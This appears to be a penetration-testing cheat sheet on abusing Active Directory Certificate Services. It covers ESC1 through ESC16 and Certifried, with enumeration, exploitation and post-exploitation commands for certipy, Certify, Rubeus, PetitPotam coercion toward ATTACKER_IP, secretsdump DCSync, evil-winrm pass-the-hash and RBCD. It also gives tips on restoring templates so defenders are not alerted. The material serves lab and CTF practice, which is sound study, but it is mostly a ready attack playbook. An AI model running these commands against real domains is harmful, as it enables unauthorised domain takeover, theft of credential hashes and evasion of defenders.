ADCS & Certificate Attacks

Active Directory Certificate Services (AD CS) is Microsoft's PKI implementation for issuing certificates in Active Directory environments. Misconfigurations in certificate templates, CA settings, and ACLs can allow an attacker to escalate privileges up to Domain Admin by requesting certificates on behalf of privileged users.

ADCS appears in approximately 55% of Medium Windows and 57% of Hard Windows HTB machines, making it one of the most common privilege escalation paths in Active Directory pentests.


Quick Reference - ESC Summary

ESCConditionImpactDifficulty
ESC1EnrolleeSuppliesSubject + Client Auth EKUImpersonate ANY userLow
ESC2Any Purpose / No EKUSame as ESC1Low
ESC3Certificate Request Agent EKURequest on behalf of othersMedium
ESC4Write access on template objectModify template to ESC1Medium
ESC5Local admin on CA serverPivot to ESC7 via SubCAHigh
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 on CAAll templates become ESC1Low
ESC7ManageCA / ManageCertificates ACLApprove pending requestsMedium
ESC8NTLM Relay to HTTP enrollmentRelay to cert for machine accountMedium
ESC9CT_FLAG_NO_SECURITY_EXTENSION + GenericWriteUPN swap impersonationMedium
ESC10StrongCertBinding=0 or CertMapping=0x4UPN swap impersonationMedium
ESC11IF_ENFORCEENCRYPTICERTREQUEST disabledRelay via RPC to certMedium
ESC13Issuance Policy OID linked to groupGain group membership via TGTMedium
ESC14Weak altSecurityIdentities mappingImpersonate via matching certHigh
ESC15V1 template + EnrolleeSuppliesSubject (CVE-2024-49019)Inject EKU, impersonateMedium
ESC16CA disables SID extensionGlobal ESC9-like conditionMedium
CertifriedUnpatched CA (CVE-2022-26923)Impersonate DCMedium

EKU OIDs for Authentication

These are the Extended Key Usages that allow a certificate to be used for domain authentication:

EKUOIDAllows Auth?
Client Authentication1.3.6.1.5.5.7.3.2Yes
PKINIT Client Authentication1.3.6.1.5.2.3.4Yes
Smart Card Logon1.3.6.1.4.1.311.20.2.2Yes
Any Purpose2.5.29.37.0Yes
SubCA (No EKU)-Yes

Enumeration

Linux - certipy

Full enumeration outputs text, JSON, and BloodHound-compatible data. Use -vulnerable -stdout for a quick check during initial recon.

# Full enumeration (text + JSON + BloodHound)
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP

# Only vulnerable templates (quick check)
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout

# BloodHound data only
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -bloodhound

# With NT hash (pass-the-hash)
certipy find -u 'USER@DOMAIN' -hashes :NTHASH -dc-ip DC_IP -vulnerable -stdout

Linux - netexec

Quick way to enumerate Certificate Authorities without certipy.

# Enumerate CAs in the domain
nxc ldap DC_IP -u USER -p PASS -M adcs

Windows - Certify.exe

Use on-target when certipy is not an option.

# Find vulnerable templates
.\Certify.exe find /vulnerable

# List all templates
.\Certify.exe find

# List CAs
.\Certify.exe cas

# Find templates with EnrolleeSuppliesSubject
.\Certify.exe find /enrolleeSuppliesSubject

ESC1 - Misconfigured Certificate Templates

Conditions: Template allows the enrollee to specify a Subject Alternative Name (SAN) + has a Client Authentication EKU + low-privileged users can enroll.

This is the most common ADCS vulnerability in HTB machines. The template essentially lets you request a certificate as any user in the domain.

Linux

# Request a certificate as Administrator
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TEMPLATE_NAME \
  -upn 'Administrator@DOMAIN' -dc-ip DC_IP

# Authenticate with the certificate (returns TGT + NT hash)
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

Windows

# Request the certificate
.\Certify.exe request /ca:DC\CA_NAME /template:TEMPLATE_NAME /altname:Administrator

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Authenticate with Rubeus
.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /getcredentials /show /nowrap

ESC2 - Any Purpose EKU

Conditions: Template has Any Purpose EKU (OID 2.5.29.37.0) or no EKU at all, plus EnrolleeSuppliesSubject is enabled.

A certificate with Any Purpose EKU or no EKU can be used for any purpose, including client authentication. The attack is identical to ESC1.

certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TEMPLATE_NAME \
  -upn 'Administrator@DOMAIN' -dc-ip DC_IP

certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

ESC3 - Enrollment Agent

Conditions: A template with the Certificate Request Agent EKU exists, plus a second template that accepts enrollment on behalf of other users.

This is a two-step attack: first obtain an enrollment agent certificate, then use it to request certificates on behalf of privileged users.

Linux

# Step 1: Request the enrollment agent certificate
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template AGENT_TEMPLATE -dc-ip DC_IP

# Step 2: Use agent cert to request on behalf of Administrator
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TARGET_TEMPLATE \
  -on-behalf-of 'DOMAIN\Administrator' -pfx user.pfx -dc-ip DC_IP

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

Windows

# Step 1: Request agent certificate
.\Certify.exe request /ca:DC\CA_NAME /template:AGENT_TEMPLATE

# Step 2: Request on behalf of Administrator
.\Certify.exe request /ca:DC\CA_NAME /template:TARGET_TEMPLATE /onbehalfof:DOMAIN\Administrator /enrollcert:agent.pfx /enrollcertpw:PASSWORD

# Step 3: Authenticate with Rubeus
.\Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /getcredentials /show /nowrap

ESC4 - Template ACL Abuse

Conditions: You have GenericAll, WriteDacl, WriteOwner, or WriteProperty over a certificate template object.

Modify the template to enable EnrolleeSuppliesSubject and Client Authentication EKU, effectively turning it into an ESC1 vulnerability. Certipy saves a backup automatically so you can restore after exploitation.

Linux

# Modify the template to ESC1 conditions (saves backup automatically)
certipy template -u 'USER@DOMAIN' -p 'PASS' -template TEMPLATE_NAME \
  -save-old -dc-ip DC_IP

# Now exploit as ESC1
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template TEMPLATE_NAME \
  -upn 'Administrator@DOMAIN' -dc-ip DC_IP

certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

# RESTORE the template (OPSEC - do not skip this)
certipy template -u 'USER@DOMAIN' -p 'PASS' -template TEMPLATE_NAME \
  -configuration TEMPLATE_NAME.json -dc-ip DC_IP

Windows

# List ACLs on the template
Get-DomainObjectAcl -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" | Where-Object { $_.ObjectDN -match "TEMPLATE_NAME" }

# Modify template properties (PowerView)
Set-DomainObject -SearchBase "CN=TEMPLATE_NAME,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL" -Set @{
    'mspki-certificate-name-flag'=1;
    'mspki-enrollment-flag'=0;
    'mspki-ra-signature'=0;
    'pkiextendedkeyusage'='1.3.6.1.5.5.7.3.2'
}

Tip: Always restore the template after exploitation. Leaving a modified template is noisy and may alert defenders.


ESC5 - PKI Object ACL

Conditions: Local admin on the server hosting the Certificate Authority.

If you have admin access on the CA server itself, you can pivot to ESC7 by enabling the SubCA template and approving your own certificate requests. This typically requires lateral movement to the CA server first.

# If ADCS is on a separate server, pivot via SOCKS proxy
# Then execute the ESC7 attack chain

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

Conditions: The CA has the EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled, allowing any template to accept SAN specifications.

Tip: This was patched in May 2022 (KB5014754). Verify the patch status before investing time in this vector.

Linux

# Any template becomes ESC1 when this flag is set
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template User \
  -upn 'Administrator@DOMAIN' -dc-ip DC_IP

certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

Windows

# Check if the flag is enabled
certutil -config "DC\CA_NAME" -getreg policy\EditFlags

# Request any template with SAN
.\Certify.exe request /ca:DC\CA_NAME /template:User /altname:Administrator

ESC7 - CA ACL Abuse

Conditions: ManageCA or ManageCertificates permission on the CA object.

With ManageCA you can add yourself as a CA officer (gaining ManageCertificates). Then enable the SubCA template, request a certificate that gets denied, approve it yourself, and retrieve it.

Linux - certipy (full chain)

# Step 1: If you have ManageCA, add yourself as officer
certipy ca -ca CA_NAME -add-officer USER -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP

# Step 2: Enable the SubCA template
certipy ca -ca CA_NAME -enable-template SubCA -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP

# Step 3: Request cert with SubCA (will be denied - note the Request ID)
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -template SubCA \
  -upn 'Administrator@DOMAIN' -dc-ip DC_IP

# Step 4: Approve the pending request (as officer)
certipy ca -ca CA_NAME -issue-request REQUEST_ID -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP

# Step 5: Retrieve the approved certificate
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -retrieve REQUEST_ID -dc-ip DC_IP

# Step 6: Authenticate
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

Windows

# Check CA permissions
.\Certify.exe cas

# If ManageCA: add yourself as officer via PSPKI
Import-Module PSPKI
$ca = Get-CertificationAuthority -ComputerName DC
Set-CertificationAuthorityAcl -InputObject $ca -Account "DOMAIN\USER" -AccessType Allow -Rights ManageCertificates

# Request SubCA template
.\Certify.exe request /ca:DC\CA_NAME /template:SubCA /altname:Administrator

# Approve via certutil
certutil -config "DC\CA_NAME" -resubmit REQUEST_ID

# Retrieve the certificate
certutil -config "DC\CA_NAME" -retrieve REQUEST_ID cert.cer

ESC8 - NTLM Relay to HTTP Enrollment

Conditions: Web Enrollment endpoint is enabled on the CA server and accepts NTLM authentication.

Coerce a machine account to authenticate to your relay, which forwards the authentication to the CA's HTTP enrollment endpoint to obtain a certificate.

# Terminal 1: Start the relay listener
certipy relay -target "http://ADCS_IP" -template DomainController

# Terminal 2: Coerce authentication (choose one)
python3 PetitPotam.py -u USER -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP
python3 printerbug.py DOMAIN/USER:'PASS'@TARGET_IP ATTACKER_IP
python3 dfscoerce.py -u USER -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP

# Result: certificate saved as target.pfx
certipy auth -pfx target.pfx -dc-ip DC_IP

Tip: After obtaining the machine account hash via certificate authentication, proceed with DCSync: secretsdump.py -hashes :DC_HASH DOMAIN/'DC$'@DC_IP


ESC9 / ESC10 - StrongCertificateBindingEnforcement Abuse

ESC9 - CT_FLAG_NO_SECURITY_EXTENSION

Conditions:

  • StrongCertificateBindingEnforcement = 1 (default)
  • Template has CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag
  • Template has Client Authentication EKU
  • GenericWrite over another user

The template does not embed the requester's SID in the certificate. By swapping the UPN of a controlled user to the target, the certificate maps to the target user.

# Step 1: Change UPN of controlled user to target
certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
  -user CONTROLLED_USER -upn 'Administrator@DOMAIN' -dc-ip DC_IP

# Step 2: Request certificate (as controlled user, but UPN = Administrator)
certipy req -u 'CONTROLLED_USER@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template TEMPLATE_NAME -dc-ip DC_IP

# Step 3: RESTORE the original UPN (critical step)
certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
  -user CONTROLLED_USER -upn 'CONTROLLED_USER@DOMAIN' -dc-ip DC_IP

# Step 4: Authenticate (certificate now maps to Administrator)
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

Tip: You MUST restore the UPN before running certipy auth. If the controlled user still has Administrator's UPN, the authentication will fail.

ESC10 Case 1 - StrongCertificateBindingEnforcement = 0

Conditions: GenericWrite over another user + StrongCertBinding=0 (DC ignores SID in certificate).

Attack is identical to ESC9. The DC does not check the SID extension at all, so any template with Client Authentication works.

# Same steps as ESC9 - swap UPN, request cert, restore UPN, authenticate
certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
  -user CONTROLLED_USER -upn 'Administrator@DOMAIN' -dc-ip DC_IP

certipy req -u 'CONTROLLED_USER@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template TEMPLATE_NAME -dc-ip DC_IP

certipy account update -u 'ATTACKER@DOMAIN' -p 'PASS' \
  -user CONTROLLED_USER -upn 'CONTROLLED_USER@DOMAIN' -dc-ip DC_IP

certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP

ESC10 Case 2 - CertificateMappingMethods = 0x4

Conditions: GenericWrite over user + CertificateMappingMethods contains 0x4 (UPN mapping only).

This only works with Schannel authentication (LDAPS), not PKINIT. Use the LDAP shell to set up RBCD for lateral movement.

# Steps 1-3: Same UPN swap as above

# Step 4: Authenticate via Schannel (LDAP shell)
certipy auth -pfx administrator.pfx -domain DOMAIN -dc-ip DC_IP -ldap-shell

# In the LDAP shell: set up RBCD
set_rbcd TARGET_COMPUTER CONTROLLED_COMPUTER

# Then S4U2Self/S4U2Proxy
getST.py -spn cifs/TARGET.DOMAIN -impersonate Administrator \
  DOMAIN/CONTROLLED_COMPUTER$ -hashes :HASH

export KRB5CCNAME=Administrator@cifs_TARGET.DOMAIN@DOMAIN.ccache
smbexec.py -k -no-pass TARGET.DOMAIN

ESC11 - NTLM Relay to RPC Enrollment (ICPR)

Conditions: The CA has IF_ENFORCEENCRYPTICERTREQUEST disabled (Enforce Encryption for Requests: Disabled).

Similar to ESC8 but targets the RPC endpoint instead of HTTP. Useful when Web Enrollment is not enabled but the RPC interface is exposed without encryption enforcement.

# Terminal 1: Start relay via RPC
sudo certipy relay -target "rpc://ADCS_IP" -ca CA_NAME -template DomainController

# Terminal 2: Coerce authentication
python3 PetitPotam.py -u USER -p 'PASS' -d DOMAIN ATTACKER_IP TARGET_IP

# Result: certificate saved as target.pfx
certipy auth -pfx target.pfx -dc-ip DC_IP

Conditions:

  • Template has an Issuance Policy OID
  • The OID object has msDS-OIDToGroupLink pointing to a privileged group
  • Template allows Client Authentication + low-privileged enrollment

When the KDC processes a certificate with an Issuance Policy, it looks up the OID object and adds the linked group's SID to the TGT's PAC. This effectively grants group membership through certificate enrollment.

Identification

# certipy find shows Issuance Policies and Linked Groups
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout

# Look for output like:
#   Issuance Policies: 1.3.6.1.4.1.311.21.8.xxx
#   Linked Groups: CN=SecureAdmins,CN=Users,DC=DOMAIN,DC=LOCAL
#   [!] Vulnerabilities
#     ESC13: Template allows client authentication and issuance policy is linked to group

# Enumerate OID objects with links
certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -oids -stdout

Attack

# Step 1: Request certificate from the ESC13 template
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template TEMPLATE_NAME -dc-ip DC_IP -target CA_HOST

# Step 2: Authenticate - TGT will contain the linked group's SID in PAC
certipy auth -pfx user.pfx -dc-ip DC_IP

# Step 3: Use the TGT with the group's privileges
export KRB5CCNAME=user.ccache
secretsdump.py -k -no-pass DOMAIN/user@DC_FQDN -dc-ip DC_IP

ESC14 - Explicit Mapping

Conditions: A privileged account has altSecurityIdentities configured with a weak mapping format (e.g., Subject CN only).

Tip: Certipy does NOT detect ESC14. Manual enumeration is required.

Identification

# PowerShell - enumerate altSecurityIdentities on privileged accounts
Get-ADUser -Filter * -Properties altSecurityIdentities | Where-Object { $_.altSecurityIdentities } | Select-Object Name, altSecurityIdentities
# LDAP query from Linux
ldapsearch -x -H ldap://DC_IP -D "USER@DOMAIN" -w "PASS" \
  -b "DC=DOMAIN,DC=LOCAL" "(altSecurityIdentities=*)" altSecurityIdentities sAMAccountName

Mapping Strength Reference

FormatStrengthExample
X509:<S>CN=userWEAKBased only on Subject CN
X509:<RFC822>emailWEAKEmail is easily replicable
X509:<I>IssuerDN<S>SubjectDNMEDIUMNo serial/SKI binding
X509:<I>IssuerDN<SR>SerialSTRONGUnique per certificate
X509:<SHA1-PUKEY>hashSTRONGTied to specific key pair

Attack

# If mapping is weak (e.g., X509:<S>CN=DAUserBackupCert):
# 1. Obtain a cert with a matching Subject CN (via ESC1 or another CA)
# 2. Authenticate as the target
certipy auth -pfx malicious.pfx -dc-ip DC_IP \
  -username 'administrator@DOMAIN' -domain DOMAIN

ESC15 (EKUwu) - Application Policy Injection (CVE-2024-49019)

Conditions:

  • Template with Schema Version 1
  • EnrolleeSuppliesSubject enabled
  • CA not patched (November 2024)

Version 1 templates allow injection of Application Policies through the CSR, which the CA processes without validation.

Identification

certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout

# Look for:
#   Schema Version: 1
#   Enrollee Supplies Subject: True
#   [!] Vulnerabilities
#     ESC15: Enrollee supplies subject and schema version is 1.

Scenario A: Inject Client Auth for Schannel Impersonation

# Request cert with injected Client Authentication Application Policy
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template WebServer -dc-ip DC_IP -target CA_HOST \
  -upn 'Administrator@DOMAIN' -sid 'S-1-5-21-...-500' \
  -application-policies 'Client Authentication'

# Authenticate via Schannel (LDAPS)
certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell

Scenario B: Inject Certificate Request Agent for ESC3

# Step 1: Get agent cert via Application Policy injection
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template WebServer -dc-ip DC_IP -target CA_HOST \
  -application-policies 'Certificate Request Agent'

# Step 2: Request on behalf of Administrator
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template User -dc-ip DC_IP -target CA_HOST \
  -pfx user.pfx -on-behalf-of 'DOMAIN\Administrator'

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP

ESC16 - SID Extension Disabled on CA

Conditions:

  • CA has OID 1.3.6.1.4.1.311.25.2 in the DisableExtensionList
  • OR CA is not patched (pre-May 2022)
  • All issued certificates lack the SID extension, creating a global ESC9-like condition

Identification

certipy find -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP -vulnerable -stdout

# Look for:
#   Disabled Extensions: 1.3.6.1.4.1.311.25.2
#   [!] Vulnerabilities
#     ESC16: Security Extension is disabled.

Scenario A: UPN Manipulation (StrongCertBinding <= 1)

Identical to ESC9 but works with any Client Auth template because no certificates from this CA contain the SID extension.

# Step 1: Change victim's UPN to target (requires GenericWrite)
certipy account -u 'ATTACKER@DOMAIN' -p 'PASS' -dc-ip DC_IP \
  -upn 'administrator' -user VICTIM update

# Step 2: Request certificate (any Client Auth template)
certipy req -u 'VICTIM@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template User -dc-ip DC_IP

# Step 3: RESTORE the UPN (before auth)
certipy account -u 'ATTACKER@DOMAIN' -p 'PASS' -dc-ip DC_IP \
  -upn 'victim@DOMAIN' -user VICTIM update

# Step 4: Authenticate as Administrator
certipy auth -pfx administrator.pfx -dc-ip DC_IP \
  -username administrator -domain DOMAIN

Scenario B: ESC16 + ESC6 (bypasses StrongCertBinding = 2)

When both ESC16 and ESC6 conditions are present, the SAN SID URL is accepted because the SID extension is absent.

# Request cert with UPN + SID via ESC6
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME \
  -template User -dc-ip DC_IP -target CA_HOST \
  -upn 'Administrator@DOMAIN' -sid 'S-1-5-21-...-500'

# Authenticate - KDC uses SAN SID URL because SID extension is absent
certipy auth -pfx administrator.pfx -dc-ip DC_IP

Tip: For ESC16, always restore the UPN BEFORE running certipy auth. If you use certipy-ad v4.8.x for ESC16, it works reliably. certipy v5.0.4 has known bugs with this attack.


Certifried (CVE-2022-26923)

Conditions: Unpatched CA that does not embed Object SID in certificates.

Create a computer account with the DC's dNSHostName, request a Machine certificate, and authenticate as the DC.

Verification

# Check if CA is patched
certipy req -u 'USER@DOMAIN' -p 'PASS' -ca CA_NAME -dc-ip DC_IP -template User
# If output says "Certificate has no object SID" -> VULNERABLE

Automatic Attack (certipy)

# Step 1: Create computer account with DC's dNSHostName
certipy account create -u 'USER@DOMAIN' -p 'PASS' -dc-ip DC_IP \
  -user FAKEMACHINE -dns DC_HOSTNAME.DOMAIN

# Step 2: Request Machine certificate
certipy req -u 'FAKEMACHINE$' -p 'GENERATED_PASS' -ca CA_NAME \
  -template Machine -dc-ip DC_IP

# Step 3: Authenticate as DC (returns DC$ hash)
certipy auth -pfx dc.pfx -domain DOMAIN -dc-ip DC_IP

Manual Attack

# Step 1: Create the computer account
addcomputer.py -computer-name 'FAKEMACHINE$' -computer-pass 'Pass123!' \
  -dc-ip DC_IP 'DOMAIN/USER:PASS'

# Step 2: Change dNSHostName to match the DC
python3 powerview.py DOMAIN/USER:'PASS'@DC_IP
PV > Set-DomainObject -Identity 'FAKEMACHINE$' -Set dnsHostName="DC.DOMAIN"

# Step 3: Request certificate + authenticate (same as automatic)
certipy req -u 'FAKEMACHINE$' -p 'Pass123!' -ca CA_NAME -template Machine -dc-ip DC_IP
certipy auth -pfx dc.pfx -domain DOMAIN -dc-ip DC_IP

Post-Exploitation with DC$ Hash

# DCSync with the DC machine hash
secretsdump.py -hashes :DC_HASH DOMAIN/'DC$'@DC_IP

# Pass-the-hash with extracted Administrator hash
evil-winrm -i DC_IP -u Administrator -H ADMIN_HASH

PKINIT vs Schannel Authentication

PKINIT (Default - Kerberos)

The standard authentication method. Returns a TGT and the NT hash via U2U.

certipy auth -pfx cert.pfx -domain DOMAIN -dc-ip DC_IP
# Returns: TGT (.ccache) + NT hash

Schannel (Fallback - LDAPS)

Use when PKINIT fails with KDC_ERR_PADATA_TYPE_NOSUPP. Provides an LDAP shell for post-exploitation actions.

certipy auth -pfx cert.pfx -domain DOMAIN -dc-ip DC_IP -ldap-shell

# Available LDAP shell commands:
# add_user USERNAME
# add_user_to_group USERNAME GROUP
# set_rbcd TARGET CONTROLLED
# change_password USERNAME NEWPASS

Windows - Rubeus

.\Rubeus.exe asktgt /user:TARGET /certificate:cert.pfx /getcredentials /show /nowrap
# Returns: TGT + NT hash (via U2U)

Certificate Mapping Reference

StrongCertificateBindingEnforcement

ValueBehavior
0No mapping check (vulnerable to ESC10 Case 1)
1Compatibility mode - warns on SID mismatch (default, vulnerable to ESC9)
2Full enforcement - rejects on SID mismatch

CertificateMappingMethods (NTAuth)

ValueMapping Type
0x1Subject/Issuer mapping
0x2Issuer mapping
0x4UPN SAN mapping (vulnerable to ESC10 Case 2)
0x8S4U2Self Kerberos mapping
0x10S4U2Self UPN SAN explicit mapping

Troubleshooting

ErrorCauseFix
KDC_ERR_PADATA_TYPE_NOSUPPPKINIT not supported on DCUse -ldap-shell (Schannel auth)
CERTSRV_E_TEMPLATE_DENIEDNo enrollment permissionCheck template ACLs and enrollment rights
Certificate has no object SIDCA not patched (May 2022)Certifried is possible
E_ACCESSDENIED via CSRANo permission for CSRA interfacecertipy falls back to RRP automatically
Cert auth returns wrong hashUPN was not restored before authRestore UPN BEFORE running certipy auth
STATUS_LOGON_FAILURE with certTemplate does not allow authVerify EKU includes Client Authentication
CERTSRV_E_BAD_REQUESTSUBJECTSAN not allowed on templateTemplate does not have EnrolleeSuppliesSubject
certipy returns success but no effectWrong schema/format versionTry different template or check CA patch level

Tip: When using certipy with Kerberos authentication, set export KRB5CCNAME=user.ccache and use the -k flag instead of -u/-p.